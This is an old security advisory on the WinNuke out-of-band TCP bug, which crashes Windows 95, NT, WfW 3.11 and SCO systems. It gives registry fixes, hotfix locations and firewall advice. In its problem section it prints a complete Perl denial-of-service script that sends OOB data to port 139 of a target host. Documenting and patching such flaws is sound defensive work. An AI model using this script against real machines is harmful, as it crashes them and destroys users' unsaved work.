COMMAND

    Out of Band

SYSTEMS AFFECTED

    Win WfW 3.11, '95, NT, SCO

PROBLEM

    When a  Windows system  receives a  packet with  the "URGENT" flag
    set, it expects data will  follow that flag. The exploit  consists
    of setting the URGENT flag, but  not following it with data.   The
    port  most  susceptible  is  TCP  Port  139,  the  Netbios Session
    Service port.   Although port  139 is  the most  commonly attacked
    port, there is potential for successful attacks on other ports  as
    well.   This  attack  is  effective  remotely  or locally (it also
    works on the machine it's executing from).

    When Windows NT is successfully attacked, it crashes.  The  system
    displays  the  "blue  screen  of  death",  and  is not respondent.
    Except for  losing the  contents of  unsaved documents  and files,
    there are no long-lasting effects from this attack.

    When  Windows  for  Workgroups  or  Windows  95  is   successfully
    attacked,  an  application  exception  screen  will  be displayed.
    This is  a blue  screen alerting  the user  that an application is
    not responding.  Any unsaved data will be lost, however there  are
    no other long-lasting effects from this attack.

    Windows  3.11  for  Workgroups  crashes  as  well,  if you use the
    microsoft tcp/ip stack.

    This attack also works against MS DNS  on port 53 so no it is  not
    strictly port 139, but only if  you have the OOB fix, but  not the
    DNS fix, your DNS can be killed.

    Here is a perl version if anyone wants to play with it (by Ghent).

    #!/usr/bin/perl

    # Ghent - ghent@bounty-hunters.com - Perl version of winnuke.c by _eci

    use strict; use Socket;

    my($h,$p,$in_addr,$proto,$addr);

    $h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
    if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }

    $in_addr = (gethostbyname($h))[4]; $addr = sockaddr_in($p,$in_addr);
    $proto = getprotobyname('tcp');
    socket(S, AF_INET, SOCK_STREAM, $proto) or die $!;

    connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;

    print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close S;

SOLUTION

    If your Windows NT system has been successfully attacked, it  must
    be  rebooted.  The  system  operates  normally  once the system is
    rebooted.

    If  your  Windows  for  Workgroups  or  Windows 95 system has been
    successfully attacked, follow the instructions on the  Application
    exception  screen  to  close  the  applications not responding and
    return to the desktop.  The system will operate normally once  you
    have  returned  to  the  desktop.   A  reboot is not required, but
    recommended.

    The best  and most  conservative measure  for preventing  this and
    similar  attacks  is  to  have  a  strong  firewall in place.  The
    firewall can be configured  to choose and authorize  trusted hosts
    to  enter  through  the  firewall.   Additionally,  this  specific
    exploit can  be prevented  by disabling  Netbios services  through
    firewalls/routers.  (Be  aware that some  versions of the  exploit
    have the potential to choose ports, and therefore may successfully
    attack other ports).

    Microsoft  hotfix  has  been  posted  to  the  following  Internet
    location for NT 4.0:

    ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP2/oob-fix

    NOTE: Service pack 2  must be applied to  Windows NT 4.0 prior  to
    applying this fix.

    This hotfix has been posted to the following Internet location for
    NT 3.51:

    ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-p
ostSP5/oob-fix

    NOTE: Service pack 5 must be  applied to Windows NT 3.51 prior  to
    applying this fix.  Note also that SP3 doesn't fix entirely this.

    This issue for Win '95 is resolved by the following updated files
    for Windows 95 (all releases):

        * Vtcp.386 version 4.00.0954 (dated 05/14/97) and later
        * Vnbt.386 version 4.00.0959 (dated 05/15/97) and later

    To do this, download the Vtcpupd.exe file (available for  download
    from the Microsoft Software Library).

    Fix for windows 95 should go like  this as well.  Put this into  a
    file called oob_fix.reg:

        '
        REGEDIT4

        [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP]
        "BSDUrgent"="0"
        '

    and double click on it. Or  enter it by hand.. (you probably  have
    to create it).  This fix is by Aaron Weintraub.

    A similar fix seems to work for Windows for Workgroups with the MS
    TCP/IP-32 kit.  In SYSTEM.INI under [MSTCP], the line:

        BSDUrgent=0

    Seems to have the same effect.

    Secant Computing Systems, Incorporated provided hot-fix for it:

    Binding Configuration The following steps apply to version 4.0.
        1. Go into Control Panel -> Network -> Bindings Tab
        2. Drop down the list for "Show Bindings for:" and select "all
           adapters"
        3. Find the WAN Wrapper that says "Remote Access WAN Wrapper"
        4. Expand it so you see WINS Client(TCP/IP)
        5. Select the WINS Client(TCP/IP) and click the DISABLE button
        6. Reboot System

    Note: When you log  into NT4, you will  get a message window  that
    says certain services or drivers didn't start. This is ok and will
    happen each time you reboot, but shouldn't happen if you log  into
    another account.

    Although the hotfix and SP3 prevent the OOB attack caused by the
    Win32/Unix source code describe at:

        http://pobox.leidenuniv.nl/%7Eewit/winnuke/

    the  Mac  binary  also  listed  on  that  page appears to still be
    capable  of  downing  an  NT  4.0  Workstation/Server  even  after
    applying the hotfix and/or service pack 3.  The obvious conclusion
    is that Apple's  Open Transport somehow  sends a different  packet
    than most other TCP/IP implementations.

    SCO releassed patches.  Please refer to following document:

        ftp://ftp.sco.com/SSE/sse010.ltr

    As pointed out filtering at the ingres router for spoofed  packets
    will stop external attacks. You can also filter at the host  level
    if your OS supports it.